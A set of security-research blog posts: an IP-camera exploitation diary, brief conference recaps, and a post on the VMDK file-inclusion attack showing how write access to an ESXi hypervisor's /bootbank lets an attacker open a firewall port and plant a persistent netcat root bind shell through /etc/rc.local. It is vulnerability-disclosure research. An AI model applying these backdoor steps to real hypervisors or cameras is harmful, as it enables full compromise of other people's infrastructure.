Research Diary: IP-Cameras Part 2

Hi everybody,
This is the second entry in our research diary on IP cameras. If you haven’t done so yet, you should read the first entry in advance. This time we focused more on analysis and exploitation.

Another entry vector

After running a vulnerability scan on both devices, it was revealed that the M1033 has multiple buffer overflow vulnerabilities (CVE-2012-5958 to CVE-2012-5965), which are readily exploitable via Metasploit. This gave us another shell (in addition to the root shell mentioned in the last post), though this time it was not a root shell. By using the find command, we searched for executables having the setuid or setgid bit set. We hoped to use one of those to escalate privileges. To do so yourself add the parameter -perm -4000 to find and it will search for files having the setuid bit set. If you try that on your own unix-like device, for example it should yield /bin/passwd which is perfectly reasonable as you’re able to change your password without being root.

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Black Hat 2016 Summary Part 2.1

A few months ago I had the opportunity to visit this year’s Black Hat in Las Vegas. Due to a few weeks of vacation following the conference here are my delayed 2 cents (part 1)

Abusing Bleeding Edge Web Standards For AppSec Glory – Bryant Zadegan & Ryan Lester (Slides)

Bryant and Ryan talked about new web standards which are already implemented in parts of the current browser jungle. Namely these standard were:

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Back from DayCon VI

Two weeks ago we had a great time at Day-Con VI. Enno, Matthias, Rene, Frank and me traveled to Dayton, OH to give workshops and presentations. We started a tough week full of  workshops on Tuesday where Rene gave a deep inside look into the world of security on current mobile platforms. Matthias discussed security problems and possible design patterns of cloud environments in his Cloud & Virtualization Security Workshop before he gave a first insight into the world of reverse engineering on Wednesday. Frank and me taught the basics of hacking and pentesting in the PacketWars bootcamp (comparable to the one at TROOPERS), preparing the participants for the PacketWars on Saturday. Obviously we were not the only ones having a great time 😉

During the main conference day on Friday several talks about trust, gaining trust and measuring trustworthiness took place. As one could write books about the whole trust issue, Dr. Piotr Cofta did exactly this and hence was a perfect choice for the inspiring keynote on basic approaches to measure trust. As we also gave several talks throughout the day, you can find our material both on the Day-Con website and in our newsfeed.

We enjoyed our time in Dayton & see you there next year,

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VMDK Has Left the Building – Write Access

In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.

First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:

  • /bootbank → contains several archives which build the hypervisors filesystem once they are unpacked
  • /altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update
  • /scratch → mainly log files and core dumps stored here
  • /vmfs/volumes/datastoreX → storage for virtual machine files

The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.

While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:

Virtual Machine:

attx kernel: [93.238762] sd 0:0:0:0: [sda] Unhandled sense code
attx kernel: [93.238767] sd 0:0:0:0: [sda]  Result: hostbyte=invalid
attx kernel: [93.238771] sd 0:0:0:0: [sda]  Sense Key : Data Protect [current]
attx kernel: [93.238776] sd 0:0:0:0: [sda]  Add. Sense: No additional sense information
attx kernel: [93.238780] sd 0:0:0:0: [sda] CDB: Write(10): 2a 00 02 04 bd 20 00 00 08 00
attx kernel: [93.238790] end_request: critical target error, dev sda, sector 33864992
attx kernel: [93.239029] Buffer I/O error on device sda, logical block 4233124
attx kernel: [93.239181] lost page write due to I/O error on sda


cpu0:2157)WARNING: NMP: nmpDeviceTaskMgmt:2210:Attempt to issue lun reset on device
                        naa.600508b1001ca97740cc02561658c136. This will clear any
                        SCSI-2 reservations on the device.
cpu0:2157)<4>hpsa 0000:05:00.0: resetting device 6:0:0:1
cpu0:2157)<4>hpsa 0000:05:00.0: device is ready

Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.

Fortunately (at least from an attacker’s point of view 😉 ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:

  • Include the device holding the /bootbank partition.
  • Write to the /bootbank partition.
  • Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).
  • Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.

The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc.  The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:

  • Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.
  • Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and from any ESXi installation.
  • Modify or add files.
  • Repack the archive.
  • Deploy the modified archive to /bootbank using the write access.

Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:

  <service id='0000'>
    <rule id='0000'>

The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.

Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.

For example to open port 42000:

  <service id="0000">
    <id>remote Bind Shell</id>
    <rule id="0000">

This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.

The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:

netcat -l -p 4444 -e /bin/sh.

Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:

/etc/netcat –l –p 4444 –e /bin/sh &

Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:

  • Include the /bootbank partition using our well-known attack path
  • Unpack /bootbank/s.v00
  • Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall
  • Add the netcat binary to /path/to/extracted/etc/nc
  • Add the above line to  /path/to/extracted/etc/rc.local
  • Wait for the next reboot of the hypervisor (or our post on the potential DoS 😉 )

At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.



Pascal & Matthias

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